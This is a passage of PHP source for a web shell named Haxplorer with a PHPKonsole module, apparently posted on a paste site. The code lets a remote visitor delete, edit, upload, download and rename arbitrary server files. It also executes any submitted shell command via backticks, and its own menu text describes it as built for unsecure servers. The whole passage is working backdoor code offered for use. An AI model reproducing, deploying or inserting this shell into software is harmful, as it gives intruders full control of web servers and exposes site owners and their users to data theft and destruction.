  1179. }
  1180.  
  1181. else {
  1182.  
  1183. echo "Successfully removed \"$file\"<br>";
  1184.  
  1185. }
  1186.  
  1187. echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form>";
  1188.  
  1189. }
  1190.  
  1191. else {
  1192.  
  1193. echo "Are you sure you want to delete \"$file\" and all it's subdirectories ?
  1194.  
  1195. <form action=\"$SFileName?$urlAdd\" method=\"POST\">
  1196.  
  1197. <input type=\"hidden\" name=\"cmd\" value=\"deldir\">
  1198.  
  1199. <input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">
  1200.  
  1201. <input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">
  1202.  
  1203. <input type=\"hidden\" name=\"file\" value=\"$file\">
  1204.  
  1205. <input type=\"hidden\" name=\"auth\" value=\"yes\">
  1206.  
  1207. <input type=\"submit\" value=\"Yes\"></form>
  1208.  
  1209. <form action=\"$SFileName?$urlAdd\" method=\"POST\">
  1210.  
  1211. <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
  1212.  
  1213. <input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
  1214.  
  1215. <input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>";
  1216.  
  1217. }
  1218.  
  1219. echo "</td></tr></center>";
  1220.  
  1221. }
  1222.  
  1223. elseif ( $cmd=="delfile" ) { /*<!-- Delete a file --> */ echo "<center><table><tr><td NOWRAP>" ;
  1224.  
  1225. if ($auth == "yes") {
  1226.  
  1227. if (@unlink($file)==false) {
  1228.  
  1229. echo "Could not remove \"$file\"<br>";
  1230.  
  1231. }
  1232.  
  1233. else {
  1234.  
  1235. echo "Successfully removed \"$file\"<br>";
  1236.  
  1237. }
  1238.  
  1239. echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form>";
  1240.  
  1241. }
  1242.  
  1243. else {
  1244.  
  1245. echo "Are you sure you want to delete \"$file\" ?
  1246.  
  1247. <form action=\"$SFileName?$urlAdd\" method=\"POST\">
  1248.  
  1249. <input type=\"hidden\" name=\"cmd\" value=\"delfile\">
  1250.  
  1251. <input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">
  1252.  
  1253. <input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">
  1254.  
  1255. <input type=\"hidden\" name=\"file\" value=\"$file\">
  1256.  
  1257. <input type=\"hidden\" name=\"auth\" value=\"yes\">
  1258.  
  1259.  
  1260.  
  1261. <input type=\"submit\" value=\"Yes\"></form>
  1262.  
  1263. <form action=\"$SFileName?$urlAdd\" method=\"POST\">
  1264.  
  1265. <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
  1266.  
  1267. <input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
  1268.  
  1269. <input tabindex=\"0\" type=\"submit\" value=\"NO!\"></form>";
  1270.  
  1271. }
  1272.  
  1273. echo "</td></tr></center>";
  1274.  
  1275. }
  1276.  
  1277. elseif ( $cmd=="newfile" ) { /*<!-- Create new file with default name --> */
  1278.  
  1279. echo "<center><table><tr><td NOWRAP>";
  1280.  
  1281. $i = 1;
  1282.  
  1283. while (file_exists("$lastdir/newfile$i.txt"))
  1284.  
  1285. $i++;
  1286.  
  1287. $file = fopen("$lastdir/newfile$i.txt", "w+");
  1288.  
  1289. if ($file == false)
  1290.  
  1291. echo "Could not create the new file...<br>";
  1292.  
  1293. else
  1294.  
  1295. echo "Successfully created: \"$lastdir/newfile$i.txt\"<br>";
  1296.  
  1297. echo "
  1298.  
  1299. <form action=\"$SFileName?$urlAdd\" method=\"POST\">
  1300.  
  1301. <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
  1302.  
  1303. <input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
  1304.  
  1305. <input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\">
  1306.  
  1307. </form></center>
  1308.  
  1309. </td></tr></table></center> ";
  1310.  
  1311. }
  1312.  
  1313. elseif ( $cmd=="newdir" ) { /*<!-- Create new directory with default name --> */
  1314.  
  1315. echo "<center><table><tr><td NOWRAP>" ;
  1316.  
  1317. $i = 1;
  1318.  
  1319. while (is_dir("$lastdir/newdir$i"))
  1320.  
  1321. $i++;
  1322.  
  1323. $file = mkdir("$lastdir/newdir$i", 0777);
  1324.  
  1325. if ($file == false)
  1326.  
  1327. echo "Could not create the new directory...<br>";
  1328.  
  1329. else
  1330.  
  1331. echo "Successfully created: \"$lastdir/newdir$i\"<br>";
  1332.  
  1333. echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\">
  1334.  
  1335. <input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\">
  1336.  
  1337. <input type=\"hidden\" name=\"dir\" value=\"$lastdir\">
  1338.  
  1339. <input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\">
  1340.  
  1341. </form></center></td></tr></table></center>";
  1342.  
  1343. }
  1344.  
  1345. elseif ( $cmd=="edit" ) { /*<!-- Edit a file and save it afterwards with the saveedit block. --> */
  1346.  
  1347. $contents = "";
  1348.  
  1349. $fc = @file( $file );
  1350.  
  1351. while ( @list( $ln, $line ) = each( $fc ) ) {
  1352.  
  1353. $contents .= htmlentities( $line ) ;
  1354.  
  1355. }
  1356.  
  1357. echo "<br><center><table><tr><td NOWRAP>";
  1358.  
  1359. echo "M<form action=\"$SFileName?$urlAdd\" method=\"post\">\n";
  1360.  
  1361. echo "<input type=\"hidden\" name=\"cmd\" value=\"saveedit\">\n";
  1362.  
  1363. echo "<strong>EDIT FILE: </strong>$file<br>\n";
  1364.  
  1365. echo "<textarea rows=\"25\" cols=\"95\" name=\"contents\">$contents</textarea><br>\n";
  1366.  
  1367. echo "<input size=\"50\" type=\"text\" name=\"file\" value=\"$file\">\n";
  1368.  
  1369. echo "<input type=\"submit\" value=\"Save\">";
  1370.  
  1371. echo "</form>";
  1372.  
  1373. echo "</td></tr></table></center>";
  1374.  
  1375. }
  1376.  
  1377. elseif ( $cmd=="saveedit" ) { /*<!-- Save the edited file back to a file --> */
  1378.  
  1379. $fo = fopen($file, "w");
  1380.  
  1381. $wrret = fwrite($fo, stripslashes($contents));
  1382.  
  1383. $clret = fclose($fo);
  1384.  
  1385. }
  1386.  
  1387. elseif ( $cmd=="downl" ) { /*<!-- Save the edited file back to a file --> */
  1388.  
  1389. $downloadfile = urldecode($file);
  1390.  
  1391. if (function_exists("basename"))
  1392.  
  1393. $downloadto = basename ($downloadfile);
  1394.  
  1395. else
  1396.  
  1397. $downloadto = "download.ext";
  1398.  
  1399. if (!file_exists("$downloadfile"))
  1400.  
  1401. echo "The file does not exist";
  1402.  
  1403. else {
  1404.  
  1405. $size = @filesize("$downloadfile");
  1406.  
  1407. if ($size != false) {
  1408.  
  1409. $add="; size=$size";
  1410.  
  1411. }
  1412.  
  1413. else {
  1414.  
  1415. $add="";
  1416.  
  1417. }
  1418.  
  1419. header("Content-Type: application/download");
  1420.  
  1421. header("Content-Disposition: attachment; filename=$downloadto$add");
  1422.  
  1423. $fp=fopen("$downloadfile" ,"rb");
  1424.  
  1425. fpassthru($fp);
  1426.  
  1427. flush();
  1428.  
  1429. }
  1430.  
  1431. }
  1432.  
  1433. elseif ( $cmd=="upload" ) { /* <!-- Upload File form --> */
  1434.  
  1435. ?>
  1436.  
  1437. <center>
  1438.  
  1439. <table>
  1440.  
  1441. <tr>
  1442.  
  1443. <td NOWRAP>
  1444.  
  1445. Welcome to the upload section...
  1446.  
  1447. Please note that the destination file will be
  1448.  
  1449. <br> overwritten if it already exists!!!<br><br>
  1450.  
  1451. <form enctype="multipart/form-data" action="<?php echo "$SFileName?$urlAdd" ?>" method="post">
  1452.  
  1453. <input type="hidden" name="MAX_FILE_SIZE" value="1099511627776">
  1454.  
  1455. <input type="hidden" name="cmd" value="uploadproc">
  1456.  
  1457. <input type="hidden" name="dir" value="<?php echo $dir ?>">
  1458.  
  1459. <input type="hidden" name="lastcmd" value="<?php echo $lastcmd ?>">
  1460.  
  1461. <input type="hidden" name="lastdir" value="<?php echo $lastdir ?>">
  1462.  
  1463. Select local file:<br>
  1464.  
  1465. <input size="75" name="userfile" type="file"><br>
  1466.  
  1467. <input type="submit" value="Send File">
  1468.  
  1469. </form>
  1470.  
  1471. <br>
  1472.  
  1473. <form action="<?php echo "$SFileName?$urlAdd" ?>" method="POST">
  1474.  
  1475. <input type="hidden" name="cmd" value="<?php echo $lastcmd ?>">
  1476.  
  1477. <input type="hidden" name="dir" value="<?php echo $lastdir ?>">
  1478.  
  1479. <input tabindex="0" type="submit" value="Cancel">
  1480.  
  1481. </form>
  1482.  
  1483. </td>
  1484.  
  1485. </tr>
  1486.  
  1487. </table>
  1488.  
  1489. </center>
  1490.  
  1491.  
  1492.  
  1493. <?php
  1494.  
  1495. }
  1496.  
  1497. elseif ( $cmd=="uploadproc" ) { /* <!-- Process Uploaded file --> */
  1498.  
  1499. echo "<center><table><tr><td NOWRAP>";
  1500.  
  1501. if (file_exists($userfile))
  1502.  
  1503. $res = copy($userfile, "$dir/$userfile_name");
  1504.  
  1505. echo "Uploaded \"$userfile_name\" to \"$userfile\"; <br>\n";
  1506.  
  1507. if ($res) {
  1508.  
  1509. echo "Successfully moved \"$userfile\" to \"$dir/$userfile_name\".\n<br><br>";
  1510.  
  1511. echo "Local filename: \"$userfile_name\".\n<br>Remote filename: \"$userfile\".\n<br>";
  1512.  
  1513. echo "Filesize: ".formatsize($userfile_size).".\n<br>Filetype: $userfile_type.\n<br>";
  1514.  
  1515. }
  1516.  
  1517. else {
  1518.  
  1519. echo "Could not move uploaded file; Action aborted...";
  1520.  
  1521. }
  1522.  
  1523. echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form></center>" ;
  1524.  
  1525. echo "<br><br></td></tr></table></center>";
  1526.  
  1527. }
  1528.  
  1529. elseif ( $cmd=="file" ) { /* <!-- View a file in text --> */
  1530.  
  1531. echo "<hr>";
  1532.  
  1533. $fc = @file( $file ); while ( @list( $ln, $line ) = each( $fc ) ) {
  1534.  
  1535. echo spacetonbsp(@htmlentities($line))."<br>\n";
  1536.  
  1537. }
  1538.  
  1539. echo "<hr>";
  1540.  
  1541. }
  1542.  
  1543. elseif ( $cmd=="ren" ) { /* <!-- File and Directory Rename --> */
  1544.  
  1545. if (function_exists('is_dir')) {
  1546.  
  1547. if (is_dir("$oldfile")) {
  1548.  
  1549. $objname = "Directory";
  1550.  
  1551. $objident = "Directory";
  1552.  
  1553. }
  1554.  
  1555. else {
  1556.  
  1557. $objname = "Filename";
  1558.  
  1559. $objident = "file";
  1560.  
  1561. }
  1562.  
  1563. }
  1564.  
  1565. echo "<table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td width=100% style=\"class=\"silver border\"><center>&nbsp;Rename a file:&nbsp;</center></td></tr></table><br>\n";
  1566.  
  1567. If (empty($newfile) != true) {
  1568.  
  1569. echo "<center>";
  1570.  
  1571. $return = @rename($oldfile, "$olddir$newfile");
  1572.  
  1573. if ($return) {
  1574.  
  1575. echo "$objident renamed successfully:<br><br>Old $objname: \"$oldfile\".<br>New $objname: \"$olddir$newfile\"";
  1576.  
  1577. }
  1578.  
  1579. else {
  1580.  
  1581. if ( @file_exists("$olddir$newfile") ) {
  1582.  
  1583. echo "Error: The $objident does already exist...<br><br>\"$olddir$newfile\"<br><br>Hit your browser's back to try again...";
  1584.  
  1585. }
  1586.  
  1587. else {
  1588.  
  1589. echo "Error: Can't copy the file, the file could be in use or you don't have permission to rename it.";
  1590.  
  1591. }
  1592.  
  1593. }
  1594.  
  1595. echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form></center>" ;
  1596.  
  1597. }
  1598.  
  1599. else {
  1600.  
  1601. $dpos = strrpos($oldfile, "/");
  1602.  
  1603. if (strval($dpos)!="") {
  1604.  
  1605. $olddir = substr($oldfile, 0, $dpos+1);
  1606.  
  1607. }
  1608.  
  1609. else {
  1610.  
  1611. $olddir = "$lastdir/";
  1612.  
  1613. }
  1614.  
  1615. $fpos = strrpos($oldfile, "/");
  1616.  
  1617. if (strval($fpos)!="") {
  1618.  
  1619. $inputfile = substr($oldfile, $fpos+1);
  1620.  
  1621. }
  1622.  
  1623. else {
  1624.  
  1625. $inputfile = "";
  1626.  
  1627. }
  1628.  
  1629. echo "<center><table><tr><td><form action=\"$SFileName?$urlAdd\" method=\"post\">\n";
  1630.  
  1631. echo "<input type=\"hidden\" name=\"cmd\" value=\"ren\">\n";
  1632.  
  1633. echo "<input type=\"hidden\" name=\"oldfile\" value=\"$oldfile\">\n";
  1634.  
  1635. echo "<input type=\"hidden\" name=\"olddir\" value=\"$olddir\">\n";
  1636.  
  1637. echo "<input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">\n";
  1638.  
  1639. echo "<input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">\n";
  1640.  
  1641. echo "Rename \"$oldfile\" to:<br>\n";
  1642.  
  1643. echo "<input size=\"100\" type=\"text\" name=\"newfile\" value=\"$inputfile\"><br><input type=\"submit\" value=\"Rename\">";
  1644.  
  1645. echo "</form><form action=\"$SFileName?$urlAdd\" method=\"post\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input type=\"submit\" value=\"Cancel\"></form>";
  1646.  
  1647. echo "</td></tr></table></center>";
  1648.  
  1649. }
  1650.  
  1651. }
  1652.  
  1653. else if ( $cmd == "con") {
  1654.  
  1655.  
  1656.  
  1657. ?>
  1658.  
  1659. <center>
  1660.  
  1661. <table>
  1662.  
  1663. <tr><td>
  1664.  
  1665. <h3>PHPKonsole</h3>
  1666.  
  1667.  
  1668.  
  1669. <?php
  1670.  
  1671.  
  1672.  
  1673. if (ini_get('register_globals') != '1') {
  1674.  
  1675. if (!empty($HTTP_POST_VARS))
  1676.  
  1677. extract($HTTP_POST_VARS);
  1678.  
  1679.  
  1680.  
  1681. if (!empty($HTTP_GET_VARS))
  1682.  
  1683. extract($HTTP_GET_VARS);
  1684.  
  1685.  
  1686.  
  1687. if (!empty($HTTP_SERVER_VARS))
  1688.  
  1689. extract($HTTP_SERVER_VARS);
  1690.  
  1691. }
  1692.  
  1693.  
  1694.  
  1695. if (!empty($work_dir)) {
  1696.  
  1697. if (!empty($command)) {
  1698.  
  1699. if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) {
  1700.  
  1701. if ($regs[1][0] == '/') {
  1702.  
  1703. $new_dir = $regs[1];
  1704.  
  1705. } else {
  1706.  
  1707. $new_dir = $work_dir . '/' . $regs[1];
  1708.  
  1709. }
  1710.  
  1711. if (file_exists($new_dir) && is_dir($new_dir)) {
  1712.  
  1713. $work_dir = $new_dir;
  1714.  
  1715. }
  1716.  
  1717. unset($command);
  1718.  
  1719. }
  1720.  
  1721. }
  1722.  
  1723. }
  1724.  
  1725. if (file_exists($work_dir) && is_dir($work_dir)) {
  1726.  
  1727. chdir($work_dir);
  1728.  
  1729. }
  1730.  
  1731. $work_dir = exec('pwd');
  1732.  
  1733. ?>
  1734.  
  1735.  
  1736.  
  1737. <form name="myform" action="<?php echo "$PHP_SELF?$urlAdd" ?>" method="post">
  1738.  
  1739. <table border=0 cellspacing=0 cellpadding=0 width="100%"><tr><td>Current working directory: <b>
  1740.  
  1741. <input type="hidden" name="cmd" value="con">
  1742.  
  1743. <?php
  1744.  
  1745. $work_dir_splitted = explode('/', substr($work_dir, 1));
  1746.  
  1747. printf('<a href="%s?$urlAddcmd=con&stderr=%s&work_dir=/">Root</a>/', $PHP_SELF, $stderr);
  1748.  
  1749. if (!empty($work_dir_splitted[0])) {
  1750.  
  1751. $path = '';
  1752.  
  1753. for ($i = 0; $i < count($work_dir_splitted); $i++) {
  1754.  
  1755. $path .= '/' . $work_dir_splitted[$i];
  1756.  
  1757. printf('<a href="%s?$urlAddcmd=con&stderr=%s&work_dir=%s">%s</a>/', $PHP_SELF, $stderr, urlencode($path), $work_dir_splitted[$i]);
  1758.  
  1759. }
  1760.  
  1761. }
  1762.  
  1763. ?></b></td>
  1764.  
  1765. <td align="right">Choose new working directory: <select class="inputtext" name="work_dir" onChange="this.form.submit()">
  1766.  
  1767.  
  1768.  
  1769. <?php
  1770.  
  1771. $dir_handle = opendir($work_dir);
  1772.  
  1773. while ($dir = readdir($dir_handle)) {
  1774.  
  1775. if (is_dir($dir)) {
  1776.  
  1777. if ($dir == '.') {
  1778.  
  1779. echo "<option value=\"$work_dir\" selected>Current Directory</option>\n";
  1780.  
  1781. } elseif ($dir == '..') {
  1782.  
  1783. if (strlen($work_dir) == 1) {
  1784.  
  1785. }
  1786.  
  1787. elseif (strrpos($work_dir, '/') == 0) {
  1788.  
  1789. echo "<option value=\"/\">Parent Directory</option>\n";
  1790.  
  1791. } else {
  1792.  
  1793. echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n";
  1794.  
  1795. }
  1796.  
  1797. } else {
  1798.  
  1799. if ($work_dir == '/') {
  1800.  
  1801. echo "<option value=\"$work_dir$dir\">$dir</option>\n";
  1802.  
  1803. } else {
  1804.  
  1805. echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
  1806.  
  1807. }
  1808.  
  1809. }
  1810.  
  1811. }
  1812.  
  1813. }
  1814.  
  1815. closedir($dir_handle);
  1816.  
  1817. ?>
  1818.  
  1819. </select></td></tr></table>
  1820.  
  1821. <p>Command: <input class="inputtext" type="text" name="command" size="60">
  1822.  
  1823. <input name="submit_btn" class="inputbutton" type="submit" value="Execute Command"></p>
  1824.  
  1825. <p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"<?php if (($stderr) || (!isset($stderr)) ) echo " CHECKED"; ?>></p>
  1826.  
  1827. <textarea cols="80" rows="19" class="inputtextarea" wrap=off readonly><?php
  1828.  
  1829. if (!empty($command)) {
  1830.  
  1831. echo "phpKonsole> ". htmlspecialchars($command) . "\n\n";
  1832.  
  1833. if ($stderr) {
  1834.  
  1835. $tmpfile = tempnam('/tmp', 'phpshell');
  1836.  
  1837. $command .= " 1> $tmpfile 2>&1; " . "cat $tmpfile; rm $tmpfile";
  1838.  
  1839. } else if ($command == 'ls') {
  1840.  
  1841. $command .= ' -F';
  1842.  
  1843. }
  1844.  
  1845. $output = `$command`;
  1846.  
  1847. echo htmlspecialchars($output);
  1848.  
  1849. }
  1850.  
  1851. ?></textarea>
  1852.  
  1853. </form>
  1854.  
  1855.  
  1856.  
  1857. <script language="JavaScript" type="text/javascript">
  1858.  
  1859. document.forms[0].command.focus();
  1860.  
  1861. </script>
  1862.  
  1863. </td></tr></table>
  1864.  
  1865. <?php
  1866.  
  1867. }
  1868.  
  1869. else { /* <!-- There is a incorrect or no parameter specified... Let's open the main menu --> */
  1870.  
  1871. $isMainMenu = true;
  1872.  
  1873. ?>
  1874.  
  1875. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  1876.  
  1877. <tr>
  1878.  
  1879. <td width="100%" class="border">
  1880.  
  1881. <center>&nbsp;.:: <?php echo $scriptTitle ?> Main Menu ::.&nbsp;</center>
  1882.  
  1883. </td>
  1884.  
  1885. </tr>
  1886.  
  1887. </table>
  1888.  
  1889. <br>
  1890.  
  1891. <center>
  1892.  
  1893. <table border="0" NOWRAP>
  1894.  
  1895. <tr>
  1896.  
  1897. <td valign="top" class="silver border">
  1898.  
  1899. <?php echo buildUrl( sp(2)."<font color=\"navy\"><strong>==> Haxplorer <==</strong></font>", "cmd=dir&dir=.").sp(2); ?>
  1900.  
  1901. </td>
  1902.  
  1903. <td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP>
  1904.  
  1905. Haxplorer is a server side file browser wich (ab)uses the directory object to list
  1906.  
  1907. the files and directories stored on a webserver. This handy tools allows you to manage
  1908.  
  1909. files and directories on a unsecure server with php support.<br><br>This entire script
  1910.  
  1911. is coded for unsecure servers, if your server is secured the script will hide commands
  1912.  
  1913. or will even return errors to your browser...<br><br>
  1914.  
  1915. </td>
  1916.  
  1917. </tr>
  1918.  
  1919. <tr>
  1920.  
  1921. <td valign="top" class="silver border">
  1922.  
  1923. <?php echo buildUrl( sp(2)."<font color=\"navy\"><strong>==> PHPKonsole <==</strong></font>", "cmd=con").sp(2); ?>
  1924.  
  1925. </td>
  1926.  
  1927. <td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP>
  1928.  
  1929. <br>PHPKonsole is just a little telnet like shell wich allows you to run commands on the webserver.
  1930.  
  1931. When you run commands they will run as the webservers UserID. This should work perfectly
  1932.  
  1933. for managing files, like moving, copying etc. If you're using a linux server, system commands
  1934.  
  1935. such as ls, mv and cp will be available for you... <br><br>This function will only work if the
  1936.  
  1937. server supports php and the execute commands...<br><br>
  1938.  
  1939. </td>
  1940.  
  1941. </tr>
  1942.  
  1943. </table>
  1944.  
  1945. </center>
  1946.  
  1947. <br>
  1948.  
  1949. <?php
  1950.  
  1951. }
  1952.  
  1953.  
  1954.  
  1955. if ($cmd != "downl") {
  1956.  
  1957. if ( $isMainMenu != true) {
  1958.  
  1959. ?>
  1960.  
  1961. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  1962.  
  1963. <tr>
  1964.  
  1965. <td width="100%" style="class="silver border">
  1966.  
  1967. <center><strong>
  1968.  
  1969. &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;Main Menu&nbsp;] </font>", "cmd=&dir="); ?>&nbsp;&nbsp;
  1970.  
  1971. &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;PHPKonsole&nbsp;] </font>", "cmd=con"); ?>&nbsp;&nbsp;
  1972.  
  1973. &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;Haxplorer&nbsp;] </font>", "cmd=dir&dir=."); ?> &nbsp;&nbsp;
  1974.  
  1975. </strong></center>
  1976.  
  1977. </td>
  1978.  
  1979. </tr>
  1980.  
  1981. </table>
  1982.  
  1983. <br>
  1984.  
  1985. <?php
  1986.  
  1987. }
  1988.  
  1989. ?>
  1990.  
  1991. <table width=100% border="0" cellpadding="0" cellspacing="0">
  1992.  
  1993. <tr>
  1994.  
  1995. <td width="100%" class="silver border">
  1996.  
  1997. <center>&nbsp;<?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?>&nbsp;</center>
  1998.  
  1999. </td>
  2000.  
  2001. </tr>
  2002.  
  2003. </table>
  2004.  
  2005. </td>
  2006.  
  2007. </tr>
  2008.  
  2009. </table>
  2010.  
  2011.  
  2012.  
  2013. <?php
  2014.  
  2015. }
  2016.  
  2017.  
  2018.  
  2019. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement